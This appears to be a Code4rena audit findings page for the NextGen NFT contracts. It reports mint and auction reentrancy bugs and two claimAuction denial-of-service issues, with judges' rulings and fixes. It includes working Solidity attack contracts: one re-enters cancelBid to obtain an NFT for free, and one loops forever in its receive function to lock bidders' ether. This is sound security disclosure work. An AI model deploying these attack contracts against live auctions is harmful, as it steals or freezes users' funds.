Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 150/243
Findings: 4
Award: $2.00
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/MinterContract.sol#L217 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/MinterContract.sol#L224 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/NextGenCore.sol#L194-L199
A user is able to mint more tokens than allowlist enables for address and also more than per public address due to reentrancy issues. This breaks the core design of the protocol, further minting all the total supply just for one user if he has enough funds to cover costs.
There is no need for coded Poc, as we can support the issue from the flow of the code. When the user is enabled to mint thanks to allowlist, or even though in when public mint is started, he can reenter and bypass all max allowance checks.
mintProcessing(...)
is called, and within this function is called safeMint
, which triggers onERC721Received
, opening space for reentrancy. require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
Implement a reentrancy guard or change the position of the mapping updates before calling mintProcessing
to keep the C-E-I pattern.
function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { - _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; + _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); ...
Reentrancy
#0 - c4-pre-sort
2023-11-17T05:55:16Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:03:29Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:24:03Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:24:39Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:07Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L112 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L105
Due to the poorly implemented timestamp check of cancelBid(...)
and claimAuction(...)
, a winner of the auction is able to reenter and obtain an NFT for free. Furthermore, this vulnerability can result in not obtaining funds for the owner of the auction if a sufficient amount of ether is not persistent in the contract.
The vulnerability occurs because of misconfiguration in the timestamp check for cancelBid(...)
and claimAuction(...)
. If the block.timestamp
is equal to minter.getAuctionEndTime(_tokenid)
. The attacker can trigger the following scenario.
getAuctionEndTime(...)
onERC721Received
is triggered in attacker contract.cancelBid(...)
As a result, the attacker receives the NFT and his bid.
The following foundry test exploits this vulnerability:
function testCreateACollectionAndAuctionReentrancy() public { string[] memory array = new string[](1); address alice = makeAddr("alice"); address bob = makeAddr("bob"); array[0] = "0x0"; gencoreContract.createCollection("0x0","0x0", "0x0", "0x0","0x0", "0x0", "0x0", array); gencoreContract.setCollectionData(1, alice, 10, 20, 100); gencoreContract.addRandomizer(1,address(random)); minterContract.setCollectionCosts(1, 10, 10, 10,10 , 3, address(0x0)); minterContract.setCollectionPhases(1, 100, 120, 100, 120, 0x0); skip(110); minterContract.mintAndAuction(alice, "0x0", 1,1,120); uint tokenId = 10000000000; minterContract.getAuctionEndTime(tokenId); vm.prank(alice); gencoreContract.approve(address(auctionDemoContract), tokenId); address charlie = makeAddr("charlie"); address delta = makeAddr("delta"); vm.prank(bob); Attack attack = new Attack(address(auctionDemoContract)); deal(charlie, 0.5 ether); deal(delta, 0.51 ether); deal(address(attack), 1.1 ether); vm.prank(charlie); auctionDemoContract.participateToAuction{value: 0.5 ether}(tokenId); vm.prank(delta); auctionDemoContract.participateToAuction{value: 0.51 ether}(tokenId); vm.prank(address(attack)); auctionDemoContract.participateToAuction{value: 1 ether}(tokenId); skip(120 - block.timestamp); require(block.timestamp == minterContract.getAuctionEndTime(tokenId)); uint balanceBefore = address(attack).balance; vm.prank(address(attack)); auctionDemoContract.claimAuction(tokenId); uint balanceAfter = address(attack).balance; require(balanceAfter > balanceBefore); require(balanceAfter == 1.1 ether); console.log("balanceAfter", balanceAfter); require(gencoreContract.ownerOf(tokenId) == address(attack)); }
The attacker's contract:
contract Attack{ address owner; auctionDemo public auctionDemoContract; constructor(address auction) public { owner = msg.sender; auctionDemoContract = auctionDemo(auction); } function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) { auctionDemoContract.cancelBid(10000000000, 2); return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")); } receive() external payable { } }
Change the following check:
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ //@audit-issue free NFT when we call in getAuctionEndTime because of reentrancy - require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); + require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); ... }
Reentrancy
#0 - c4-pre-sort
2023-11-14T10:54:35Z
141345 marked the issue as duplicate of #1904
#1 - c4-pre-sort
2023-11-14T23:31:41Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-04T21:41:51Z
alex-ppg marked the issue as duplicate of #1323
#3 - c4-judge
2023-12-08T17:54:29Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0xAsen, 0xDetermination, 0xJuda, 0xWaitress, 0xhunter, 0xlemon, 0xpiken, Al-Qa-qa, Arabadzhiev, CSL, CaeraDenoir, DarkTower, DeFiHackLabs, Greed, Haipls, MaNcHaSsS, NentoR, NoamYakov, PENGUN, Ruhum, Soul22, SovaSlava, Talfao, Toshii, TuringConsulting, VAD37, Vagner, Valix, Viktor_Cortess, ZdravkoHr, audityourcontracts, btk, codynhat, flacko, funkornaut, glcanvas, gumgumzum, immeas, innertia, ke1caM, lanrebayode77, lsaudit, mrudenko, niki, nmirchev8, openwide, oualidpro, r0ck3tz, rvierdiiev, trachev, yojeff
1.3844 USDC - $1.38
The claimAuction(...)
will be DoSed as there is no gas limit for low-level call
when returning bids, leading to a locked ETH in the contract.
This issue is different from https://github.com/code-423n4/2023-10-nextgen/blob/main/bot-report.md#permanent-dos-due-to-non-shrinking-array-usage-in-an-unbounded-loop as the root cause is different. The mentioned issue in the Bot report is based on supplying many bids, which, for loop in claimAuction
will revert. However, my issue is based on of gas error due to no limit in the call function when returning bids. Check the next sections.
1.The attacker will wait for the auction to start.
2. When it starts, he will participate in the auction with few bids (i think 3 can be enough) with few weis.
3. However, the participator will be in the form of a contract, which implements a malicious while loop in the receive
function.
4. This will cost a lot of gas and lead to out-of-gas errors all the time.
Result: Stuck ETH of all bidders.
out of gas
.
This is a simplifed version of AuctionDemo.sol to simulate that issue.import "hardhat/console.sol"; pragma solidity ^0.8.19; contract auctionDemo{ //events event ClaimAuction(address indexed _add, uint256 indexed tokenid, bool status, uint256 indexed funds); event Refund(address indexed _add, uint256 indexed tokenid, bool status, uint256 indexed funds); event CancelBid(address indexed _add, uint256 indexed tokenid, uint256 index, bool status, uint256 indexed funds); address gencore; // certain functions can only be called by auction winner or admin // auction Bidders struct auctionInfoStru { address bidder; uint256 bid; bool status; } // mapping of collectionSecondaryAddresses struct mapping (uint256 => auctionInfoStru[]) public auctionInfoData; // claim auctioned mapping (uint256 => bool) public auctionClaim; // participate to auction function participateToAuction(uint256 _tokenid) public payable { auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); } // get highest bid function returnHighestBid(uint256 _tokenid) public view returns (uint256) { uint256 index; if (auctionInfoData[_tokenid].length > 0) { uint256 highBid = 0; for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) { if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) { highBid = auctionInfoData[_tokenid][i].bid; index = i; } } if (auctionInfoData[_tokenid][index].status == true) { return highBid; } else { return 0; } } else { return 0; } } // get highest bidder function returnHighestBidder(uint256 _tokenid) public view returns (address) { uint256 highBid = 0; uint256 index; for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) { if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) { index = i; } } if (auctionInfoData[_tokenid][index].status == true) { return auctionInfoData[_tokenid][index].bidder; } else { revert("No Active Bidder"); } } // claim Token After Auction function claimAuction(uint256 _tokenid) public{ //@audit-issue free NFT when we call in getAuctionEndTime because of reentrancy auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { //@audit-issue possible out of gas if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(address(0x0)).call{value: highestBid}(""); } else if (auctionInfoData[_tokenid][i].status == true) { console.log("Gas left before call:", gasleft()); (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } } } contract Attacker{ address auction; constructor(address _auction){ auction = _auction; } function participateIn() public payable { auctionDemo(auction).participateToAuction{value: msg.value}(1); } receive() external payable { uint a = 0; while (true){ uint i = a; i++; } } }
Gas left before call: 2920546 Gas left before call: 39356 transact to auctionDemo.claimAuction errored: Error occured: out of gas. out of gas The transaction ran out of gas. Please increase the Gas Limit.
Implement gas limit of low level call
+ (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid, gas: <someLimit>}("");
Furthermore, the issue could still persist as data are received from the call
low-level function even though you have not implemented this variable.
Consider implementing assembly-level calls to address this issue fully.
... bool success; address bidder = auctionInfoData[_tokenid][i].bidder; bid = auctionInfoData[_tokenid][i].bid; assembly { success := call(GAS_LIMIT, bidder, bid, 0, 0, 0, 0) } ...
DoS
#0 - c4-pre-sort
2023-11-17T05:55:09Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:19:48Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:20:03Z
alex-ppg marked the issue as duplicate of #1782
#3 - c4-judge
2023-12-08T20:49:33Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.4703 USDC - $0.47
If the user maliciously or accidentally does not implement the onERC721Received
callback, the claimAuction
will be DoSed, and the ether will be locked in the contract forever.
This result of DOSed claimAuction
can occur if the winner of the auction is the contract. It can be done maliciously or accidentally. As there will be some cost of the attack for the attacker if he wants to do it maliciously, I give this issue a medium severity.
onERC721Received
callback.It can be really severe if some NFT has a lot of bids. To sum up, for 50K $, the attacker will participate with 1001 $ to be a winner. Now, the 50K $ is locked in the contract just for the cost of 1001$.
That is just a USD example. Of course, the ether is used,
Here, I thought it is not needed as proof of concept we can obtain from the behaviour of the ERC721 function' safeTransferFrom. This function triggers the
onERC721Received` callback if the receiver is the contract. When the contract does not implement this callback, the function will revert.
We can notice reverting in the implementation of the callback check in ERC721.sol#onERC721Received
To mitigate this issue, you can follow two approaches. One is to replace safeTransferFrom
with transferFrom
.
The second is to allow other bidders to obtain their funds via cancelBid(...)
even though the auction has finished.
DoS
#0 - c4-pre-sort
2023-11-17T05:54:46Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:19:57Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:20:15Z
alex-ppg marked the issue as duplicate of #1759
#3 - c4-judge
2023-12-08T22:11:06Z
alex-ppg marked the issue as partial-50